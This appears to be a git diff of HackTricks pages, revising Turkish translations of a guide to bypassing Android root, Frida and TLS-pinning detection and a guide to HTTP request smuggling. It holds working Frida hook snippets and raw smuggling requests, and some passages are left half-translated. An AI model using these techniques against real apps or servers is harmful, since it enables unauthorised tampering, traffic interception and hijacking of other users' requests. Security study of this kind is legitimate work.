mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p
This commit is contained in:
parent
031d2993c8
commit
b857374913
@ -2,75 +2,75 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu sayfa, Android uygulamalarının enstrümantasyonu tespit eden/kök engelleyen veya TLS pinning uygulayan dinamik analizini yeniden kazanmak için pratik bir iş akışı sağlar. Hızlı ön değerlendirme, yaygın tespitler ve mümkün olduğunda yeniden paketleme yapmadan bunları aşmak için kopyala-yapıştır yapılabilir kancalar/taktikler üzerine odaklanır.
|
||||
This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.
|
||||
|
||||
## Tespit Yüzeyi (uygulamaların kontrol ettiği şeyler)
|
||||
## Detection Surface (what apps check)
|
||||
|
||||
- Kök kontrolleri: su ikili dosyası, Magisk yolları, getprop değerleri, yaygın kök paketleri
|
||||
- Frida/hata ayıklayıcı kontrolleri (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc taraması, classpath, yüklenen kütüphaneler
|
||||
- Yerel anti-hata ayıklama: ptrace(), syscalls, anti-attach, kesme noktaları, inline kancalar
|
||||
- Erken başlatma kontrolleri: Application.onCreate() veya enstrümantasyon mevcutsa çökmesine neden olan işlem başlatma kancaları
|
||||
- TLS pinning: özel TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, yerel pinler
|
||||
- Root kontrolleri: su binary, Magisk paths, getprop values, common root packages
|
||||
- Frida/debugger kontrolleri (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
|
||||
- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
|
||||
- Erken init kontrolleri: Application.onCreate() veya process start hooks that crash if instrumentation is present
|
||||
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
|
||||
|
||||
## Adım 1 — Hızlı kazanım: Magisk DenyList ile kökü gizle
|
||||
## Step 1 — Quick win: hide root with Magisk DenyList
|
||||
|
||||
- Magisk'te Zygisk'i etkinleştir
|
||||
- DenyList'i etkinleştir, hedef paketi ekle
|
||||
- Yeniden başlat ve yeniden test et
|
||||
- Enable Zygisk in Magisk
|
||||
- Enable DenyList, add the target package
|
||||
- Reboot and retest
|
||||
|
||||
Birçok uygulama yalnızca belirgin göstergeleri (su/Magisk yolları/getprop) arar. DenyList genellikle naif kontrolleri etkisiz hale getirir.
|
||||
Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
|
||||
|
||||
Referanslar:
|
||||
References:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## Adım 2 — 30 saniyelik Frida Kod Paylaşımı testleri
|
||||
## Step 2 — 30‑second Frida Codeshare tests
|
||||
|
||||
Derinlemesine dalmadan önce yaygın drop-in betiklerini deneyin:
|
||||
Try common drop‑in scripts before deep diving:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
- hide_frida_gum.js
|
||||
|
||||
Örnek:
|
||||
Example:
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
Bu genellikle Java root/debug kontrollerini, işlem/hizmet taramalarını ve yerel ptrace()'ı engeller. Hafif korumalı uygulamalarda faydalıdır; güçlendirilmiş hedefler özel kancalar gerektirebilir.
|
||||
Bunlar tipik olarak Java root/debug checks, process/service scans ve native ptrace()'i stub'lar. Hafif korunan uygulamalarda kullanışlıdır; sertleştirilmiş hedefler özelleştirilmiş hooks gerektirebilir.
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## Adım 3 — Geç bağlanarak init-zamanı dedektörlerini atlatma
|
||||
## Adım 3 — Başlatma-zamanı dedektörlerini geç bağlanarak atlatma
|
||||
|
||||
Birçok tespit yalnızca işlem oluşturma/onCreate() sırasında çalışır. Oluşturma zamanı enjeksiyonu (-f) veya aletler yakalanır; UI yüklendikten sonra bağlanmak, geçiş yapabilir.
|
||||
Pek çok tespit yalnızca process spawn/onCreate() sırasında çalışır. Spawn‑time injection (-f) veya gadgets yakalanır; UI yüklendikten sonra bağlanmak atlatmayı sağlayabilir.
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
# Or with Objection to attach to running process
|
||||
aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
Eğer bu işe yararsa, oturumu stabil tutun ve haritalama ile stub kontrollerine devam edin.
|
||||
Bu işe yararsa, oturumu kararlı tutun ve map ile stub kontrollerine geçin.
|
||||
|
||||
## Adım 4 — Jadx ve string avcılığı ile tespit mantığını haritalama
|
||||
## Adım 4 — Jadx ile tespit mantığını haritalandırma ve string hunting
|
||||
|
||||
Jadx'teki statik triage anahtar kelimeleri:
|
||||
Jadx'te statik triage anahtar kelimeleri:
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
|
||||
Tipik Java desenleri:
|
||||
Tipik Java kalıpları:
|
||||
```java
|
||||
public boolean isFridaDetected() {
|
||||
return getRunningServices().contains("frida");
|
||||
}
|
||||
```
|
||||
Yaygın API'ler gözden geçirmek/içine almak için:
|
||||
Gözden geçirilecek/hooklanacak ortak API'ler:
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (komutları sorgulama)
|
||||
- android.os.SystemProperties.get (root/emülatör heuristikleri)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
|
||||
- android.os.SystemProperties.get (root/emulator heuristics)
|
||||
|
||||
## Adım 5 — Frida ile Çalışma Zamanı Stub'lama (Java)
|
||||
## Adım 5 — Frida ile çalışma zamanında stub oluşturma (Java)
|
||||
|
||||
Özel korumaları geçersiz kılın ve yeniden paketleme olmadan güvenli değerler döndürün:
|
||||
Repacking yapmadan özel guard'ları güvenli değerler döndürecek şekilde override edin:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Checks = Java.use('com.example.security.Checks');
|
||||
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
Erken çöküşleri önceliklendirmek mi? Ölmeden hemen önce sınıfları dökerek muhtemel tespit ad alanlarını belirleyin:
|
||||
Erken çökmeleri mi değerlendiriyorsunuz? Uygulama ölmeden hemen önce classes'ları dump edin, muhtemel detection namespaces'lerini tespit etmek için:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
|
||||
});
|
||||
});
|
||||
```
|
||||
Şüpheli yöntemleri kaydedin ve etkisiz hale getirin, böylece yürütme akışını doğrulayın:
|
||||
Yürütme akışını doğrulamak için şüpheli yöntemleri Loglayın ve etkisiz hale getirin:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -104,9 +104,9 @@ return false;
|
||||
};
|
||||
});
|
||||
```
|
||||
## Adım 6 — Java hook'ları başarısız olduğunda JNI/yerli izini takip et
|
||||
## Step 6 — Java hooks başarısız olduğunda JNI/native izini takip edin
|
||||
|
||||
JNI giriş noktalarını izleyerek yerel yükleyicileri ve tespit başlatmalarını bul:
|
||||
Native loader'ları ve detection init'i bulmak için JNI entry point'lerini izleyin:
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
@ -117,11 +117,11 @@ nm -D libfoo.so | head
|
||||
objdump -T libfoo.so | grep Java_
|
||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||
```
|
||||
Etkileşimli/yerli tersine mühendislik:
|
||||
Etkileşimli/native reversing:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
Örnek: libc'deki basit anti-debug'u yenmek için ptrace'ı etkisiz hale getirin:
|
||||
Örnek: ptrace'i etkisiz hale getirerek libc içindeki basit anti‑debug'i atlatma:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -130,40 +130,43 @@ return -1; // pretend failure
|
||||
}, 'int', ['int', 'int', 'pointer', 'pointer']));
|
||||
}
|
||||
```
|
||||
Ayrıca bakınız: {{#ref}}
|
||||
Ayrıca bakınız:
|
||||
{{#ref}}
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## Adım 7 — Objection yamanması (gadget gömme / temel çıkarma)
|
||||
## Adım 7 — Objection patching (embed gadget / strip basics)
|
||||
|
||||
Çalışma zamanı kancalarına yeniden paketlemeyi tercih ettiğinizde, deneyin:
|
||||
Eğer runtime hooks yerine repacking'i tercih ediyorsanız, şunu deneyin:
|
||||
```bash
|
||||
objection patchapk --source app.apk
|
||||
```
|
||||
Notlar:
|
||||
- apktool gerektirir; yapı sorunlarını önlemek için resmi kılavuzdan güncel bir sürüm aldığınızdan emin olun: https://apktool.org/docs/install
|
||||
- Gadget enjeksiyonu, root olmadan enstrümantasyonu mümkün kılar ancak yine de daha güçlü init zamanı kontrolleri tarafından yakalanabilir.
|
||||
- Gerektirir apktool; yapı sorunlarını önlemek için resmi kılavuzdan güncel bir sürüm kullanıldığından emin olun: https://apktool.org/docs/install
|
||||
- Gadget injection, root olmadan instrumentation sağlar, ancak daha güçlü init‑time checks tarafından yine de tespit edilebilir.
|
||||
|
||||
Referanslar:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## Adım 8 — Geri Dönüş: Ağ görünürlüğü için TLS pinning'i yamanlayın
|
||||
## Adım 8 — Fallback: TLS pinning'i ağ görünürlüğü için düzeltin
|
||||
|
||||
Eğer enstrümantasyon engellenirse, pinning'i statik olarak kaldırarak trafiği hala inceleyebilirsiniz:
|
||||
Eğer instrumentation engellenmişse, pinning'i statik olarak kaldırarak trafiği yine de inceleyebilirsiniz:
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
```
|
||||
- Araç: https://github.com/shroudedcode/apk-mitm
|
||||
- Ağ yapılandırma CA‑trust hileleri (ve Android 7+ kullanıcı CA güveni) için bkz:
|
||||
- Ağ yapılandırması CA‑trust hileleri (ve Android 7+ user CA trust) için bkz:
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
## Kullanışlı komut kılavuzu
|
||||
## Pratik komut özeti
|
||||
```bash
|
||||
# List processes and attach
|
||||
frida-ps -Uai
|
||||
@ -183,10 +186,10 @@ apk-mitm app.apk
|
||||
```
|
||||
## İpuçları ve uyarılar
|
||||
|
||||
- Uygulamalar başlatıldığında çöküyorsa, başlatmadan ziyade geç bağlamayı tercih edin
|
||||
- Bazı tespitler kritik akışlarda (örneğin, ödeme, kimlik doğrulama) yeniden çalışır — gezinme sırasında kancaları aktif tutun
|
||||
- Statik ve dinamiği karıştırın: sınıfları kısaltmak için Jadx'te dize avı yapın; ardından yöntemleri bağlayarak çalışma zamanında doğrulayın
|
||||
- Güçlendirilmiş uygulamalar paketleyiciler ve yerel TLS pinning kullanabilir — yerel kodu tersine çevirmeyi bekleyin
|
||||
- Uygulamalar başlatılırken çöküyorsa, spawning yerine attaching'i geç bağlamayı tercih edin
|
||||
- Bazı detections kritik akışlarda (örn., payment, auth) yeniden çalıştırılır — navigation sırasında hooks'ları aktif tutun
|
||||
- Statik ve dinamiki birlikte kullanın: Jadx'te string hunt yaparak sınıfların ön listesini oluşturun; sonra runtime'da doğrulamak için methods'ları hook'layın
|
||||
- Güçlendirilmiş uygulamalar packers ve native TLS pinning kullanabilir — native kodu tersine çevirmek gerekebilir
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -2,62 +2,63 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Nedir
|
||||
|
||||
Bu zafiyet, **ön uç proxyleri** ile **arka uç** sunucusu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** **göndermesine** olanak tanır. HTTP **isteği**, **ön uç** proxyleri (yük dengeleme/ters proxy) tarafından **tek bir istek** olarak ve **arka uç** sunucusu tarafından **2 istek** olarak **yorumlanır**.\
|
||||
Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değiştirmesine** olanak tanır.
|
||||
Bu zafiyet, **front-end proxies** ile **back-end** sunucusu arasında bir **desenkronizasyon** oluştuğunda meydana gelir; bu durum bir **attacker**'ın bir HTTP **request** göndermesine imkan verir; bu istek **front-end** proxy'leri (load balance/reverse-proxy) tarafından **tek bir request** olarak, **back-end** sunucusu tarafından ise **2 request** olarak **yorumlanır**.\
|
||||
Bu, kullanıcının kendi isteğinden sonra **back-end** sunucusuna gelen sonraki isteği **değiştirmesine** olanak tanır.
|
||||
|
||||
### Teori
|
||||
|
||||
[**RFC Spesifikasyonu (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> Eğer bir mesaj hem Transfer-Encoding başlık alanı hem de Content-Length başlık alanı ile alınırsa, ikincisi GÖZARDI EDİLMELİDİR.
|
||||
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Content-Length varlık başlığı, alıcıya gönderilen varlık gövdesinin boyutunu, bayt cinsinden belirtir.
|
||||
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Transfer-Encoding başlığı, yük gövdesinin kullanıcıya güvenli bir şekilde aktarılması için kullanılan kodlama biçimini belirtir.\
|
||||
> Chunked, büyük verilerin bir dizi parça halinde gönderildiği anlamına gelir.
|
||||
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||
> Chunked means that large data is sent in a series of chunks
|
||||
|
||||
### Gerçeklik
|
||||
### Gerçek Durum
|
||||
|
||||
**Ön Uç** (bir yük dengeleme / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını **işler** ve **Arka Uç** sunucusu **diğerini** işleyerek iki sistem arasında bir **senkronizasyon bozukluğu** yaratır.\
|
||||
Bu, **bir saldırganın ters proxyye bir istek göndermesine** olanak tanır ve bu istek **arka uç** sunucusu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucusunun **2. isteği** enjekte edilmiş gibi **yorumlaması** ve o istemcinin **gerçek isteğinin** **enjekte edilen isteğin** bir parçası olmasıdır.
|
||||
**Front-End** (a load-balance / Reverse Proxy) _**content-length**_ veya _**transfer-encoding**_ header'larından birini işlerken, **Back-end** sunucusu diğerini işleyebilir ve bu iki sistem arasında bir **desenkronizasyon** meydana gelir.\
|
||||
Bu çok kritik olabilir çünkü **bir attacker**, reverse proxy'ye **tek bir request** gönderebilir ve bu istek **back-end** sunucusu tarafından **2 farklı request** olarak **yorumlanır**. Bu tekniğin tehlikesi, **back-end** sunucusunun **enjekte edilen 2. isteği** sanki **sonraki istemciden gelmiş** gibi yorumlaması ve o istemcinin gerçek isteğinin **enjekte edilen isteğin** parçası haline gelmesidir.
|
||||
|
||||
### Özellikler
|
||||
|
||||
HTTP'de **yeni bir satır karakteri 2 bayttan oluşur:**
|
||||
Unutmayın ki HTTP'de **yeni satır karakteri 2 byte**'tan oluşur:
|
||||
|
||||
- **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra ihtiyaç yoktur**.
|
||||
- **Transfer-Encoding:** Bu başlık, **gövde** içinde bir **onaltılık sayı** kullanarak **bir sonraki parçanın** **bayt** sayısını belirtir. **Parça**, **yeni bir satır** ile **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satır** ile bitmelidir: `0`
|
||||
- **Connection**: Deneyimlerime dayanarak, istek Smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.
|
||||
- **Content-Length**: Bu header, isteğin gövdesinin byte cinsinden **boyutunu** belirtmek için **ondalık sayı** kullanır. Gövde son karakterde biter; **isteğin sonunda yeni bir satır gerekli değildir**.
|
||||
- **Transfer-Encoding:** Bu header gövdede **ondalık değil, onaltılık (hex)** sayı kullanarak bir sonraki **chunk**'ın boyutunu belirtir. **Chunk** bir **yeni satırla bitmelidir** ancak bu yeni satır uzunluk göstergesine dahil edilmez. Bu transfer yöntemi `0` boyutlu bir chunk ile ve bunu takip eden **2 yeni satır** ile sona ermelidir.
|
||||
- **Connection**: Tecrübeme göre request smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.
|
||||
|
||||
## Temel Örnekler
|
||||
|
||||
> [!TIP]
|
||||
> Burp Suite ile bunu sömürmeye çalışırken **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini tekrar edicide devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
|
||||
> Bunu Burp Suite ile istismar etmeye çalışırken repeater'da **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini devre dışı bırakın çünkü bazı gadgets yeni satırlar, carriage return'lar ve hatalı content-length değerlerinden kötüye yararlanır.
|
||||
|
||||
HTTP istek smuggling saldırıları, ön uç ve arka uç sunucularının `Content-Length` (CL) ve `Transfer-Encoding` (TE) başlıklarını yorumlamasındaki tutarsızlıklardan yararlanarak belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucularının bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
|
||||
HTTP request smuggling saldırıları, front-end ve back-end sunucuların `Content-Length` (CL) ve `Transfer-Encoding` (TE) header'larını nasıl farklı yorumladıklarındaki tutarsızlıklardan yararlanacak şekilde belirsiz istekler gönderilerek gerçekleştirilir. Bu saldırılar farklı formlarda ortaya çıkabilir; başlıca **CL.TE**, **TE.CL** ve **TE.TE** şeklindedir. Her tür, front-end ve back-end sunucuların bu header'lara hangi öncelikle yaklaştığının farklı bir kombinasyonunu temsil eder. Zafiyetler, her iki sunucunun aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü amaçlı sonuçlara yol açabilir.
|
||||
|
||||
### Zafiyet Türlerinin Temel Örnekleri
|
||||
### Zafiyet Tiplerine Temel Örnekler
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> Önceki tabloya TE.0 tekniğini eklemelisiniz, CL.0 tekniği gibi ama Transfer Encoding kullanarak.
|
||||
> Önceki tabloya TE.0 tekniğini eklemelisiniz; CL.0 tekniğine benzer ancak Transfer-Encoding kullanır.
|
||||
|
||||
#### CL.TE Zafiyeti (Ön Uçta Content-Length, Arka Uçta Transfer-Encoding kullanılır)
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **Ön Uç (CL):** İsteği `Content-Length` başlığına göre işler.
|
||||
- **Arka Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
|
||||
- **Front-End (CL):** İsteği `Content-Length` header'ına göre işler.
|
||||
- **Back-End (TE):** İsteği `Transfer-Encoding` header'ına göre işler.
|
||||
- **Saldırı Senaryosu:**
|
||||
|
||||
- Saldırgan, `Content-Length` başlığının değeri gerçek içerik uzunluğuyla eşleşmeyen bir istek gönderir.
|
||||
- Ön uç sunucusu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
|
||||
- Arka uç sunucusu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği parça parça olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
|
||||
- Attacker, `Content-Length` header değerinin gerçek içerik uzunluğu ile uyuşmadığı bir istek gönderir.
|
||||
- Front-end sunucusu `Content-Length` değerine dayanarak tüm isteği back-end'e iletir.
|
||||
- Back-end sunucusu `Transfer-Encoding: chunked` header'ı nedeniyle isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -73,15 +74,15 @@ GET /404 HTTP/1.1
|
||||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL Zafiyeti (Ön Uçta Transfer-Encoding, Arka Uçta Content-Length kullanılır)
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **Ön Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
|
||||
- **Arka Uç (CL):** İsteği `Content-Length` başlığına göre işler.
|
||||
- **Front-End (TE):** İsteği `Transfer-Encoding` header'ına göre işler.
|
||||
- **Back-End (CL):** İsteği `Content-Length` header'ına göre işler.
|
||||
- **Saldırı Senaryosu:**
|
||||
|
||||
- Saldırgan, parça boyutunun (`7b`) ve gerçek içerik uzunluğunun (`Content-Length: 4`) uyum sağlamadığı bir parça istek gönderir.
|
||||
- Ön uç sunucusu, `Transfer-Encoding`e saygı göstererek tüm isteği arka uca iletir.
|
||||
- Arka uç sunucusu, `Content-Length`e saygı göstererek isteğin yalnızca ilk kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
|
||||
- Attacker, chunk boyutu (`7b`) ile gerçek içerik uzunluğu (`Content-Length: 4`) uyuşmayan bir chunked istek gönderir.
|
||||
- Front-end sunucusu `Transfer-Encoding`'i dikkate alarak tüm isteği back-end'e iletir.
|
||||
- Back-end sunucusu `Content-Length`'a göre yalnızca isteğin ilk bölümünü (`7b` byte) işler ve geri kalan, istem dışı bir sonraki isteğin parçası olarak kalır.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -102,14 +103,14 @@ x=
|
||||
|
||||
```
|
||||
|
||||
#### TE.TE Zafiyeti (Her ikisinde de Transfer-Encoding, obfuscation ile)
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **Sunucular:** Her ikisi de `Transfer-Encoding`i destekler, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.
|
||||
- **Servers:** Her ikisi de `Transfer-Encoding`'i destekler, ancak biri obfuscation sayesinde bunu tanımamak üzere kandırılabilir.
|
||||
- **Saldırı Senaryosu:**
|
||||
|
||||
- Saldırgan, obfuscation içeren `Transfer-Encoding` başlıklarıyla bir istek gönderir.
|
||||
- Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL zafiyeti sömürülebilir.
|
||||
- İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğünde, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
|
||||
- Attacker, obfuscate edilmiş `Transfer-Encoding` header'ları içeren bir istek gönderir.
|
||||
- Hangi sunucunun obfuscation'ı tanımadığına bağlı olarak, CL.TE veya TE.CL zafiyetlerinden biri sömürülebilir.
|
||||
- Bir sunucu tarafından işlenmeyen istek kısmı, sonraki bir isteğin parçası olur ve smuggling'e yol açar.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -129,10 +130,10 @@ Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL Senaryosu (Her iki tarafta da Content-Length kullanılır)**
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- Her iki sunucu da isteği yalnızca `Content-Length` başlığına dayanarak işler.
|
||||
- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu yorumlama konusunda uyum içindedir.
|
||||
- Her iki sunucu da isteği yalnızca `Content-Length` header'ına göre işler.
|
||||
- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun istek uzunluğunu yorumlamasında uyum vardır.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -144,10 +145,10 @@ Connection: keep-alive
|
||||
Normal Request
|
||||
```
|
||||
|
||||
#### **CL.0 Senaryosu**
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder, bu da istek gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (bu 0 olarak kabul edilir), ancak ön uç bunu işler.
|
||||
- Smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
|
||||
- `Content-Length` header'ının mevcut olduğu ve değeri sıfırdan farklı olduğu durumları ifade eder; bu, isteğin gövdesinde içerik olduğunu gösterir. Back-end `Content-Length` header'ını (0 olarak) yok sayar, ancak front-end bunu çözer.
|
||||
- Bu, sunucuların bir isteğin nerede bittiğini belirlemesini etkilediği için smuggling saldırılarını anlamak ve oluşturmak açısından kritiktir.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -159,11 +160,11 @@ Connection: keep-alive
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### TE.0 Senaryosu
|
||||
#### TE.0 Scenario
|
||||
|
||||
- Öncekine benzer ancak TE kullanarak.
|
||||
- Teknik [burada rapor edilmiştir](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Örnek:**
|
||||
- Öncekine benzer ancak TE kullanılarak yapılır.
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Örnek**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
@ -181,33 +182,33 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### Web sunucusunu kırma
|
||||
#### Breaking the web server
|
||||
|
||||
Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırmanın** mümkün olduğu senaryolarda da faydalıdır, ancak **bağlantıyı kapatmadan**. Bu şekilde, HTTP isteğinin **gövdesi** bir sonraki HTTP isteği olarak kabul edilecektir.
|
||||
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
|
||||
|
||||
Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'da bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacaktır, bu nedenle isteğin **gövdesi** bir sonraki HTTP isteği olarak işlenecektir.
|
||||
For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
|
||||
|
||||
#### Hop-by-hop başlıkları ile zorlamak
|
||||
#### Forcing via hop-by-hop headers
|
||||
|
||||
Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir ve böylece HTTP isteği kaçırma saldırısını kötüye kullanmak mümkün hale gelebilir**.
|
||||
Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Daha fazla bilgi için **hop-by-hop başlıkları** ziyaret edin:
|
||||
For **hop-by-hop headers** hakkında daha fazla bilgi için ziyaret edin:
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## HTTP İstek Sızdırma Bulma
|
||||
## HTTP Request Smuggling Tespiti
|
||||
|
||||
HTTP istek sızdırma açıklarını tanımlamak genellikle zamanlama teknikleri kullanılarak gerçekleştirilebilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesi için ne kadar süre geçtiğini gözlemlemeye dayanır. Bu teknikler, özellikle CL.TE ve TE.CL açıklarını tespit etmek için faydalıdır. Bu yöntemlerin yanı sıra, bu tür açıkları bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:
|
||||
